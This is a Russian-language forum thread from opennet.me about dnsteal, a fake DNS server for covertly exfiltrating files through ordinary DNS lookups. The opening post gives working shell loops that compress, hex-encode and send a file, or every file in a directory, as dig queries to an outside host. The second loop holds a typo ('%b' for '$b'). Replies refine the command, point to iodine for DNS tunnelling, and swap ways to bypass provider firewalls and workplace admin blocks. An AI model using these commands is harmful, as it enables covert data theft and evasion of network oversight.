URL: https://www.opennet.me/cgi-bin/openforum/vsluhboard.cgi
Форум: vsluhforumID3
Нить номер: 105052
[ Назад ]

Исходное сообщение
"Раздел полезных советов: Скрытая отправка файлов через DNS"

Отправлено auto_tips , 10-Окт-15 23:12 
В рамках проекта https://github.com/m57/dnsteal развивается фиктивный DNS-сервер, позволяющий организовать скрытую отправку файлов по протоколу DNS, используя штатные системные утилиты резолвинга. Для уменьшения трафика поддерживается сжатие передаваемого содержимого.


Запускаем сервер ("-z" - включает сжатие):

   python dnsteal.py 192.168.1.1 -z


Для отправки файла send.txt на внешний хост 192.168.1.1, на котором запущен dnsteal, достаточно выполнить:

   for b in $(gzip -c send.txt | xxd -p); do dig @192.168.1.1 $b.filename.com; done

Для отправки всех файлов из текущей директории

   for filename in $(ls); do for b in $(gzip -c $filename | xxd -p); do dig +short @192.168.1.1 %b.$filename.com; done; done


URL:
Обсуждается: http://www.opennet.me/tips/info/2922.shtml


Содержание

Сообщения в этом обсуждении
"Скрытая отправка файлов через DNS"
Отправлено a9a83j43nja09gje , 10-Окт-15 23:12 
текущая версия на гитхабе не заработала) заработал форк там же на гитхабе, файл 1 мб отправлялся больше 6 часов, так и не отправился) надо было идти домой
идея не нова, но интересно и доступно!)

"Скрытая отправка файлов через DNS"
Отправлено fleonis , 11-Окт-15 12:58 
в смысле отправить файл, замаскировав его под обычный dns запрос?

"Скрытая отправка файлов через DNS"
Отправлено Nas_tradamus , 11-Окт-15 15:37 
Но есть же iodine для более коварных вещей.
Тестил - работает. Эта штука позволяет заворачивать весь ipv4-трафиик через DNS.

"Скрытая отправка файлов через DNS"
Отправлено Аноним , 11-Окт-15 20:49 
> Но есть же iodine для более коварных вещей.

Вся прелесть предложенного решения в том, что на клиенте достаточно обычного shell и любой штатной утилиты типа dig для резолвинга. В  iodine  нужно ставить специального клиента, что сводит на нет всю "скрытность" действий на клиентской системе.


"Скрытая отправка файлов через DNS"
Отправлено анонимаус , 27-Окт-15 10:56 
администраторам localnet чтоли?

вся прелесть iodine в том, что он работает и за firewall (и wifi, не авторизовавшись, но те которые резолвят внешние имена), кто же вас пустит на внешний сервер напрямую (dig @server) из сети, которая за firewall ?


"Скрытая отправка файлов через DNS"
Отправлено Pahanivo , 24-Ноя-15 15:11 
вот именно, что вся эта бредовая идея идет в опу, если админ держить днс на шлюзе и фильтрует внешние, а он скорей всего так и делает.

"Скрытая отправка файлов через DNS"
Отправлено AdVv , 30-Июн-16 15:43 
Наводящий вопрос: откуда "днс на шлюзе местного админа" берет информацию о неизвестных доменных адресах ?

"Скрытая отправка файлов через DNS"
Отправлено Crazy Alex , 12-Окт-15 21:03 
Добавили бы fold чтобы не по одному байту посылать, а по 10, например:

for b in $(gzip -c send.txt | xxd -p |fold -b10); do dig @192.168.1.1 $b.filename.com; done


"Скрытая отправка файлов через DNS"
Отправлено Аноним , 14-Окт-15 13:10 
Это у вас такой странных xxd. Опция -p как раз и нужна для того, чтобы не разделять байты. Разделение происходит на длинные строки.

"Скрытая отправка файлов через DNS"
Отправлено Виталий , 15-Окт-15 12:33 
dig @192.168.1.1
так если у вас открыт порт на удаленном сервере - можно все что угодно. вот если бы  dig @днспровайдера\конторы\которая не выпускает ничего больше как через Собственных днс сервре ....
в общем костыль к квадратному колесу

"Скрытая отправка файлов через DNS"
Отправлено Alex , 15-Окт-15 22:28 
Элементарно, ватсон. Чуть переписываете шеловую команду (префиксуете байты, чтобы от кеширования уйти), и она с удовольствием шлёт резолвы через любую цепочку резолверов к вашему домену.

"Скрытая отправка файлов через DNS"
Отправлено НьюВасюковец , 26-Окт-15 13:24 
Без примера -это просто трепология.

"Скрытая отправка файлов через DNS"
Отправлено YetAnotherOnanym , 16-Окт-15 15:23 
А зачем писать отдельный демон, когда можно просто прогрепать логи бинда (или кто там крутится) и вытащить фрагменты из сообщений об ошибках? А ещё вопрос - если у провайдера несколько роутов к целевому хосту и запросы прибудут не в том порядке, в каком они были отправлены - с этим что делать?

"Скрытая отправка файлов через DNS"
Отправлено Аннонним , 17-Окт-15 05:58 
Подумал халявный интернет изобрели, оказалось нет - 6 часов, пусть даже на файл 1 мб, это слишком долго.

"Скрытая отправка файлов через DNS"
Отправлено pavlinux , 18-Окт-15 01:52 
У нормального провайдера, с неоплаченным инетом, запросы дальше фаервола не ходят.  

"Скрытая отправка файлов через DNS"
Отправлено count0krsk , 18-Окт-15 06:29 
Так и есть. Даже днс-запросы режут, не говоря о пингах. Причем ВСЕ провайдеры, с которыми сталкивался. Исключение - пиринговые ресурсы. Они работают свободно. А т.к. в городском пиринге почти все провайдеры, просто поднимается прокся у другого прова, и через неё работаете, если лень платить идти. Ещё можно так с работы сидеть в необрезанном инете, если вы - кодер, а злой админ закрыл вконтактик.

"Скрытая отправка файлов через DNS"
Отправлено Аноним , 20-Ноя-15 22:04 
Если вы кодер, а злой админ закрыл вконтактик, то что вам мешает пробросить ssh-tunnel?

"Скрытая отправка файлов через DNS"
Отправлено Анонимус III , 18-Окт-15 11:05 
У моего провайдера с неоплаченным интернетом работал сайт провайдера. А на сайте провайдера была бесплатная почта, ящик 10 МБ. И через POP3/IMAP/SMTP она тоже была доступна. Запустил на работе демона, который по почте получал URL, скачивал его, разбивал на куски размером 10 МБ и отсылал на тот бесплатный ящик. А дома другой демон доставал куски из ящика и собирал воедино. Недели три так сидел, из спортивного интереса.

"Скрытая отправка файлов через DNS"
Отправлено Мимо проходил , 20-Окт-15 09:45 
А можно поподробней про реализацию?

"Скрытая отправка файлов через DNS"
Отправлено pavlinux , 23-Окт-15 01:27 
> А можно поподробней про реализацию?

До макдональца быстрее добежать.


"Скрытая отправка файлов через DNS"
Отправлено НьюВасюковец , 26-Окт-15 13:28 
> А можно поподробней про реализацию?

таких примеров жопой жуй
http://habrahabr.ru/post/65322/


"Скрытая отправка файлов через DNS"
Отправлено Аноним , 22-Окт-15 12:17 
прям как Столман

"Скрытая отправка файлов через DNS"
Отправлено DmA , 22-Ноя-15 10:25 
лучше бы придумали как DNS пакеты нельзя было ни подменить, ни посмотреть что там внутри ходит...

"Скрытая отправка файлов через DNS"
Отправлено nuclight , 27-Ноя-15 14:29 
dnscrypt от djb сто лет как

"Скрытая отправка файлов через DNS"
Отправлено freehck , 03-Ноя-16 15:50 
Имхо легче туннель через 443й порт повесить, используя, скажем, sslh. 443й обычно открыт, а что ты там внутри туннеля шлёшь никто всё равно не прочитает. А 53й с весьма большой вероятностью может быть и закрыт.